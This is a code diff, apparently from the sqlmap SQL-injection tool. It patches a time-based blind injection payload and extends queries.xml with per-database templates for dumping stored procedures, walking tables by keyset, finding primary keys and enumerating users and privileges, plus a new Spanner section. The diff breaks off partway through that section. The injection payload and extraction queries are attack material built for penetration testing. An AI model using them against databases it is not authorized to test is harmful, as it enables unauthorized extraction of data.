-        <vector>(CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM])</vector>
+        <vector>(CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM] END)</vector>
         <request>
-            <payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM])</payload>
+            <payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM] END)</payload>
         </request>
         <response>
             <time>[DELAYED]</time>

data/xml/queries.xml

@@ -47,6 +47,10 @@
             <inband query="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST" query2="SELECT INFO FROM DATA_DICTIONARY.PROCESSLIST"/>
             <blind query="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST ORDER BY ID LIMIT %d,1" query2="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST WHERE ID=%d" query3="SELECT ID FROM INFORMATION_SCHEMA.PROCESSLIST LIMIT %d,1" count="SELECT COUNT(DISTINCT(INFO)) FROM INFORMATION_SCHEMA.PROCESSLIST"/>
         </statements>
+        <procedures>
+            <inband query="SELECT CONCAT(ROUTINE_NAME,' [',ROUTINE_TYPE,'] ',IFNULL(ROUTINE_DEFINITION,'')) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema')"/>
+            <blind query="SELECT CONCAT(ROUTINE_NAME,' [',ROUTINE_TYPE,'] ',IFNULL(ROUTINE_DEFINITION,'')) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema') ORDER BY ROUTINE_SCHEMA,ROUTINE_NAME LIMIT %d,1" count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema')"/>
+        </procedures>
         <dbs>
             <inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA" query2="SELECT db FROM mysql.db"/>
             <blind query="SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT %d,1" query2="SELECT DISTINCT(db) FROM mysql.db LIMIT %d,1" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA" count2="SELECT COUNT(DISTINCT(db)) FROM mysql.db"/>
@@ -61,7 +65,8 @@
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
-            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s.%s"/>
+            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
+            <primary_key count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.KEY_COLUMN_USAGE WHERE TABLE_SCHEMA='%s' AND TABLE_NAME='%s' AND CONSTRAINT_NAME='PRIMARY'" query="SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.KEY_COLUMN_USAGE WHERE TABLE_SCHEMA='%s' AND TABLE_NAME='%s' AND CONSTRAINT_NAME='PRIMARY' ORDER BY ORDINAL_POSITION LIMIT %d,1"/>
         </dump_table>
         <search_db>
             <inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" query2="SELECT db FROM mysql.db WHERE %s" condition="schema_name" condition2="db"/>
@@ -122,6 +127,10 @@
             <inband query="SELECT query FROM pg_stat_activity WHERE query != '&lt;IDLE&gt;'"/>
             <blind query="SELECT DISTINCT(query) FROM pg_stat_activity WHERE query != '&lt;IDLE&gt;' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(query)) FROM pg_stat_activity WHERE query != '&lt;IDLE&gt;'"/>
         </statements>
+        <procedures>
+            <inband query="SELECT n.nspname||'.'||p.proname||': '||p.prosrc FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema')"/>
+            <blind query="SELECT n.nspname||'.'||p.proname||': '||p.prosrc FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema') ORDER BY n.nspname,p.proname OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema')"/>
+        </procedures>
         <dbs>
             <inband query="SELECT DISTINCT(schemaname) FROM pg_tables"/>
             <blind query="SELECT DISTINCT(schemaname) FROM pg_tables ORDER BY schemaname OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>
@@ -136,7 +145,8 @@
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
-            <blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/>
+            <blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
+            <primary_key count="SELECT COUNT(*) FROM information_schema.table_constraints tc JOIN information_schema.key_column_usage kcu ON tc.constraint_name=kcu.constraint_name AND tc.table_schema=kcu.table_schema WHERE tc.constraint_type='PRIMARY KEY' AND tc.table_schema='%s' AND tc.table_name='%s'" query="SELECT kcu.column_name FROM information_schema.table_constraints tc JOIN information_schema.key_column_usage kcu ON tc.constraint_name=kcu.constraint_name AND tc.table_schema=kcu.table_schema WHERE tc.constraint_type='PRIMARY KEY' AND tc.table_schema='%s' AND tc.table_name='%s' ORDER BY kcu.ordinal_position OFFSET %d LIMIT 1"/>
         </dump_table>
         <search_db>
             <inband query="SELECT schemaname FROM pg_tables WHERE %s" condition="schemaname"/>
@@ -193,6 +203,11 @@
             <inband query="SELECT st.text FROM sys.dm_exec_cached_plans cp CROSS APPLY sys.dm_exec_sql_text(cp.plan_handle) st"/>
             <blind query="SELECT TOP 1 a.text FROM sys.dm_exec_cached_plans cp CROSS APPLY sys.dm_exec_sql_text(cp.plan_handle) a WHERE a.text NOT IN (SELECT TOP %d b.text FROM sys.dm_exec_cached_plans cp CROSS APPLY sys.dm_exec_sql_text(cp.plan_handle) b ORDER BY b.text) ORDER BY a.text" count="SELECT LTRIM(STR(COUNT(st.text))) FROM sys.dm_exec_cached_plans cp CROSS APPLY sys.dm_exec_sql_text(cp.plan_handle) st"/>
         </statements>
+        <!-- NOTE: o.type_desc carries SQL Server's fixed catalog-metadata collation (Latin1_General_CI_AS_KS_WS), which clashes with m.definition's database collation under '+' ("cannot resolve collation conflict"). Coercing the catalog string columns to DATABASE_DEFAULT makes the whole concat single-collation. o.name is usually already the database collation so its COLLATE is a no-op, but it is coerced too defensively, since catalog name-column collation can vary by version/config. -->
+        <procedures>
+            <inband query="SELECT o.name COLLATE DATABASE_DEFAULT+' ['+o.type_desc COLLATE DATABASE_DEFAULT+'] '+m.definition FROM sys.sql_modules m INNER JOIN sys.objects o ON m.object_id=o.object_id WHERE o.is_ms_shipped=0 AND o.type IN ('P','FN','IF','TF')"/>
+            <blind query="SELECT o.name COLLATE DATABASE_DEFAULT+' ['+o.type_desc COLLATE DATABASE_DEFAULT+'] '+m.definition FROM sys.sql_modules m INNER JOIN sys.objects o ON m.object_id=o.object_id WHERE o.is_ms_shipped=0 AND o.type IN ('P','FN','IF','TF') ORDER BY o.name OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" count="SELECT LTRIM(STR(COUNT(*))) FROM sys.sql_modules m INNER JOIN sys.objects o ON m.object_id=o.object_id WHERE o.is_ms_shipped=0 AND o.type IN ('P','FN','IF','TF')"/>
+        </procedures>
         <dbs>
             <inband query="SELECT name FROM master..sysdatabases" query2="SELECT DB_NAME(%d)"/>
             <blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
@@ -207,7 +222,8 @@
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s.%s"/>
-            <blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s) LIKE '%s'" query3="SELECT %s FROM (SELECT %s, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS CAP FROM %s)x WHERE CAP=%d" count="SELECT LTRIM(STR(COUNT(*))) FROM %s" count2="SELECT LTRIM(STR(COUNT(DISTINCT(%s)))) FROM %s"/>
+            <blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s) LIKE '%s'" query3="SELECT %s FROM (SELECT %s, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS CAP FROM %s)x WHERE CAP=%d" count="SELECT LTRIM(STR(COUNT(*))) FROM %s" count2="SELECT LTRIM(STR(COUNT(DISTINCT(%s)))) FROM %s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" keyset_ordered="SELECT TOP 1 %s FROM %s WHERE %s ORDER BY %s" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
+            <primary_key count="SELECT COUNT(*) FROM sys.indexes i JOIN sys.index_columns ic ON i.object_id=ic.object_id AND i.index_id=ic.index_id WHERE i.is_primary_key=1 AND i.object_id=OBJECT_ID('%s.dbo.%s')" query="SELECT name FROM (SELECT c.name AS name, ROW_NUMBER() OVER (ORDER BY ic.key_ordinal) AS rn FROM sys.indexes i JOIN sys.index_columns ic ON i.object_id=ic.object_id AND i.index_id=ic.index_id JOIN sys.columns c ON ic.object_id=c.object_id AND c.column_id=ic.column_id WHERE i.is_primary_key=1 AND i.object_id=OBJECT_ID('%s.dbo.%s')) x WHERE rn=%d+1"/>
         </dump_table>
         <search_db>
             <inband query="SELECT name FROM master..sysdatabases WHERE %s" condition="name"/>
@@ -287,6 +303,11 @@
             <inband query="SELECT SQL_TEXT FROM V$SQL"/>
             <blind query="SELECT SQL_TEXT FROM (SELECT SQL_TEXT,ROWNUM AS CAP FROM V$SQL WHERE SQL_TEXT NOT LIKE '%%SQL_TEXT%%') WHERE CAP=%d" count="SELECT COUNT(SQL_TEXT) FROM V$SQL WHERE SQL_TEXT NOT LIKE '%%SQL_TEXT%%'"/>
         </statements>
+        <!-- NOTE: ALL_SOURCE stores one row per source line, so LISTAGG reassembles them (subject to its 4000-char limit). ORACLE_MAINTAINED='N' (12.2+) cleanly excludes every Oracle built-in schema (SYS, WMSYS, LBACSYS, DVSYS, ...) instead of a hand-maintained blocklist. -->
+        <procedures>
+            <inband query="SELECT NAME||' ['||TYPE||'] '||(SELECT LISTAGG(TEXT) WITHIN GROUP (ORDER BY LINE) FROM ALL_SOURCE WHERE NAME=s.NAME AND OWNER=s.OWNER AND TYPE=s.TYPE) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N')) s"/>
+            <blind query="SELECT NAME||' ['||TYPE||'] '||(SELECT LISTAGG(TEXT) WITHIN GROUP (ORDER BY LINE) FROM ALL_SOURCE WHERE NAME=s.NAME AND OWNER=s.OWNER AND TYPE=s.TYPE) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N')) s ORDER BY NAME OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" count="SELECT COUNT(*) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N'))"/>
+        </procedures>
         <!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
         <dbs>
             <inband query="SELECT OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)"/>
@@ -302,7 +323,8 @@
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s ORDER BY ROWNUM"/>
-            <blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS CAP FROM %s qq ORDER BY ROWNUM) WHERE CAP=%d" count="SELECT COUNT(*) FROM %s"/>
+            <blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS CAP FROM %s qq ORDER BY ROWNUM) WHERE CAP=%d" count="SELECT COUNT(*) FROM %s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" keyset_ordered="SELECT c FROM (SELECT %s AS c FROM %s WHERE %s ORDER BY %s) WHERE ROWNUM=1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
+            <primary_key count="SELECT COUNT(*) FROM all_cons_columns cols, all_constraints cons WHERE cons.constraint_type='P' AND cons.constraint_name=cols.constraint_name AND cons.owner=cols.owner AND UPPER(cols.owner)=UPPER('%s') AND UPPER(cols.table_name)=UPPER('%s')" query="SELECT column_name FROM (SELECT cols.column_name, ROW_NUMBER() OVER (ORDER BY cols.position) AS rn FROM all_cons_columns cols, all_constraints cons WHERE cons.constraint_type='P' AND cons.constraint_name=cols.constraint_name AND cons.owner=cols.owner AND UPPER(cols.owner)=UPPER('%s') AND UPPER(cols.table_name)=UPPER('%s')) WHERE rn=%d+1"/>
         </dump_table>
         <!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
         <search_db>
@@ -362,7 +384,7 @@
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s"/>
-            <blind query="SELECT %s FROM %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>
+            <blind query="SELECT %s FROM %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s" rowid="rowid" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
         </dump_table>
         <search_db/>
         <search_table>
@@ -442,16 +464,16 @@
         <column_comment/>
         <is_dba query="CURRENT_USER='SYSDBA'"/>
         <users>
-            <inband query="SELECT RDB$USER FROM RDB$USER_PRIVILEGES"/>
-            <blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$USER) FROM RDB$USER_PRIVILEGES" count="SELECT COUNT(DISTINCT(RDB$USER)) FROM RDB$USER_PRIVILEGES"/>
+            <inband query="SELECT RDB$USER FROM RDB$USER_PRIVILEGES WHERE RDB$USER_TYPE=8"/>
+            <blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$USER) FROM RDB$USER_PRIVILEGES WHERE RDB$USER_TYPE=8" count="SELECT COUNT(DISTINCT(RDB$USER)) FROM RDB$USER_PRIVILEGES WHERE RDB$USER_TYPE=8"/>
         </users>
         <tables>
             <inband query="SELECT RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)"/>
             <blind query="SELECT FIRST 1 SKIP %d RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)" count="SELECT COUNT(RDB$RELATION_NAME) FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)"/>
         </tables>
         <privileges>
-            <inband query="SELECT RDB$USER,RDB$PRIVILEGE FROM RDB$USER_PRIVILEGES" condition="RDB$USER"/>
-            <blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$PRIVILEGE) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s'" count="SELECT COUNT(DISTINCT(RDB$PRIVILEGE)) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s'"/>
+            <inband query="SELECT RDB$USER,RDB$PRIVILEGE FROM RDB$USER_PRIVILEGES WHERE RDB$USER_TYPE=8" condition="RDB$USER"/>
+            <blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$PRIVILEGE) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s' AND RDB$USER_TYPE=8" count="SELECT COUNT(DISTINCT(RDB$PRIVILEGE)) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s' AND RDB$USER_TYPE=8"/>
         </privileges>
         <roles/>
         <statements/>
@@ -726,7 +748,8 @@
             <inband query="SELECT column_name,type_name FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE table_name='%s' AND table_schem='%s' ORDER BY column_name" condition="column_name"/>
         </columns>
         <dump_table>
-            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
+            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
+            <primary_key count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS tc JOIN INFORMATION_SCHEMA.KEY_COLUMN_USAGE kcu ON tc.CONSTRAINT_NAME=kcu.CONSTRAINT_NAME AND tc.TABLE_SCHEMA=kcu.TABLE_SCHEMA WHERE tc.CONSTRAINT_TYPE='PRIMARY KEY' AND UPPER(tc.TABLE_SCHEMA)=UPPER('%s') AND UPPER(tc.TABLE_NAME)=UPPER('%s')" query="SELECT kcu.COLUMN_NAME FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS tc JOIN INFORMATION_SCHEMA.KEY_COLUMN_USAGE kcu ON tc.CONSTRAINT_NAME=kcu.CONSTRAINT_NAME AND tc.TABLE_SCHEMA=kcu.TABLE_SCHEMA WHERE tc.CONSTRAINT_TYPE='PRIMARY KEY' AND UPPER(tc.TABLE_SCHEMA)=UPPER('%s') AND UPPER(tc.TABLE_NAME)=UPPER('%s') ORDER BY kcu.ORDINAL_POSITION LIMIT 1 OFFSET %d"/>
             <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
         </dump_table>
         <search_db>
@@ -790,7 +813,8 @@
             <inband query="SELECT COLUMN_NAME,DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s' ORDER BY COLUMN_NAME" condition="COLUMN_NAME" query2="SELECT COLUMN_NAME,TYPE_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s' ORDER BY COLUMN_NAME" condition2="COLUMN_NAME"/>
         </columns>
         <dump_table>
-            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
+            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
+            <primary_key count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS tc JOIN INFORMATION_SCHEMA.KEY_COLUMN_USAGE kcu ON tc.CONSTRAINT_NAME=kcu.CONSTRAINT_NAME AND tc.TABLE_SCHEMA=kcu.TABLE_SCHEMA WHERE tc.CONSTRAINT_TYPE='PRIMARY KEY' AND UPPER(tc.TABLE_SCHEMA)=UPPER('%s') AND UPPER(tc.TABLE_NAME)=UPPER('%s')" query="SELECT kcu.COLUMN_NAME FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS tc JOIN INFORMATION_SCHEMA.KEY_COLUMN_USAGE kcu ON tc.CONSTRAINT_NAME=kcu.CONSTRAINT_NAME AND tc.TABLE_SCHEMA=kcu.TABLE_SCHEMA WHERE tc.CONSTRAINT_TYPE='PRIMARY KEY' AND UPPER(tc.TABLE_SCHEMA)=UPPER('%s') AND UPPER(tc.TABLE_NAME)=UPPER('%s') ORDER BY kcu.ORDINAL_POSITION LIMIT 1 OFFSET %d"/>
             <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
         </dump_table>
         <search_db>
@@ -1136,9 +1160,9 @@
         <case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
         <hex query="TO_HEX(%s)"/>
         <inference query="CODEPOINT(SUBSTR((%s),%d,1))>%d" dbms_version="&gt;=0.178" query2="SUBSTR((%s),%d,1)>'%c'"/>/>
-        <banner/>
+        <banner query="version()"/>
         <current_user query="CURRENT_USER"/>
-        <current_db/>
+        <current_db query="current_schema"/>
         <hostname/>
         <table_comment query="SELECT table_comment FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' AND table_name='%s'"/>
         <column_comment query="SELECT column_comment FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s' AND table_name='%s' AND column_name='%s'"/>
@@ -1321,7 +1345,7 @@
     </dbms>
 
     <dbms value="ClickHouse">
-        <cast query="CAST(%s AS String)"/>
+        <cast query="CAST(%s AS Nullable(String))"/>
         <length query="length(%s)"/>
         <isnull query="ifNull(%s, '')"/>
         <delimiter query="||"/>
@@ -1424,7 +1448,7 @@
         <passwords/>
         <privileges>
             <inband query="SELECT grantee,type FROM sys.privileges" condition="grantee"/>
-            <blind query="SELECT DISTINCT(type) FROM sys.privileges WHERE grantee %s '%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT(type)) FROM sys.privileges WHERE grantee %s '%s'"/>
+            <blind query="SELECT DISTINCT(type) FROM sys.privileges WHERE grantee='%s' ORDER BY 1 LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT(type)) FROM sys.privileges WHERE grantee='%s'"/>
         </privileges>
         <roles/>
         <statements>
@@ -1445,7 +1469,8 @@
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
-            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
+            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
+            <primary_key count="SELECT COUNT(*) FROM information_schema.table_constraints tc JOIN information_schema.key_column_usage kcu ON tc.constraint_name=kcu.constraint_name AND tc.table_schema=kcu.table_schema WHERE tc.constraint_type='PRIMARY KEY' AND tc.table_schema='%s' AND tc.table_name='%s'" query="SELECT kcu.column_name FROM information_schema.table_constraints tc JOIN information_schema.key_column_usage kcu ON tc.constraint_name=kcu.constraint_name AND tc.table_schema=kcu.table_schema WHERE tc.constraint_type='PRIMARY KEY' AND tc.table_schema='%s' AND tc.table_name='%s' ORDER BY kcu.ordinal_position LIMIT 1 OFFSET %d"/>
         </dump_table>
         <search_db>
             <inband query="SELECT schema_name FROM information_schema.schemata WHERE %s" condition="schema_name"/>
@@ -1713,6 +1738,7 @@
         <concatenate query="%s||%s"/>
         <case query="SELECT (IF(%s,1,0))"/>
         <inference query="UNICODE(SUBSTRING((%s),%d,1))>%d"/>
+        <substring query="SUBSTRING((%s),%d,%d)"/>
         <banner/>
         <current_user/>
         <current_db/>
@@ -1752,6 +1778,7 @@
         <concatenate query="%s||%s"/>
         <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
         <inference query="ASCII(SUBSTRING((%s),%d,1))>%d"/>
+        <substring query="SUBSTRING((%s),%d,%d)"/>
         <banner query="sys_stat('st_dbms_name')||' - '||sys_stat('st_dbms_ver')"/>
         <current_user query="USERNAME()"/>
         <current_db query="UPPER(USERNAME())"/>
@@ -1803,6 +1830,7 @@
         <concatenate query="%s||%s"/>
         <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
         <inference query="ASCII(SUBSTR((%s),%d,1))>%d"/>
+        <substring query="SUBSTR((%s),%d,%d)"/>
         <banner query="CURRENT_VERSION()"/>
         <current_user query="CURRENT_USER()"/>
         <current_db query="CURRENT_SCHEMA()"/>
@@ -1843,4 +1871,67 @@
         <search_table/>
         <search_column/>
     </dbms>
+
+    <dbms value="Spanner">
+        <cast query="CAST(%s AS STRING)"/>
+        <length query="CHAR_LENGTH(CAST(%s AS STRING))"/>
+        <isnull query="IFNULL(CAST(%s AS STRING),' ')"/>
+        <delimiter query="||"/>
+        <limit query="LIMIT %d OFFSET %d"/>
+        <limitregexp query="\s+LIMIT\s+([\d]+)\s+OFFSET\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
+        <limitgroupstart query="2"/>
+        <limitgroupstop query="1"/>
+        <limitstring query=" OFFSET "/>
+        <order query="ORDER BY %s ASC"/>
+        <count query="COUNT(%s)"/>
+        <comment query="--" query2="#"/>
+        <substring query="SUBSTR(CAST((%s) AS STRING),%d,%d)"/>
+        <concatenate query="%s||%s"/>
+        <case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
+        <hex query="TO_HEX(CAST(%s AS BYTES))"/>
+        <inference query="TO_CODE_POINTS(SUBSTR(CAST((%s) AS STRING),%d,1))[SAFE_OFFSET(0)]>%d"/>
+        <banner query="'Google Cloud Spanner'"/>
+        <current_user/>
+        <current_db/>
+        <hostname/>
+        <table_comment/>
+        <column_comment/>
+        <is_dba/>
+        <users/>
+        <passwords/>
+        <privileges/>
+        <roles/>
+        <statements>
+            <inband query="SELECT text FROM SPANNER_SYS.QUERY_STATS_TOP_MINUTE"/>
+            <blind query="SELECT text FROM SPANNER_SYS.QUERY_STATS_TOP_MINUTE" count="SELECT COUNT(text) FROM SPANNER_SYS.QUERY_STATS_TOP_MINUTE"/>
+        </statements>
+        <dbs>
+            <inband query="SELECT CASE schema_name WHEN '' THEN 'default' ELSE schema_name END FROM INFORMATION_SCHEMA.SCHEMATA"/>
+            <blind query="SELECT CASE schema_name WHEN '' THEN 'default' ELSE schema_name END FROM INFORMATION_SCHEMA.SCHEMATA GROUP BY schema_name ORDER BY schema_name LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT schema_name) FROM INFORMATION_SCHEMA.SCHEMATA"/>
+        </dbs>
+        <tables>
+            <inband query="SELECT CASE table_schema WHEN '' THEN 'default' ELSE table_schema END,table_name FROM INFORMATION_SCHEMA.TABLES" condition="table_schema"/>
+            <blind query="SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END ORDER BY table_name" count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END"/>
+        </tables>
+        <columns>
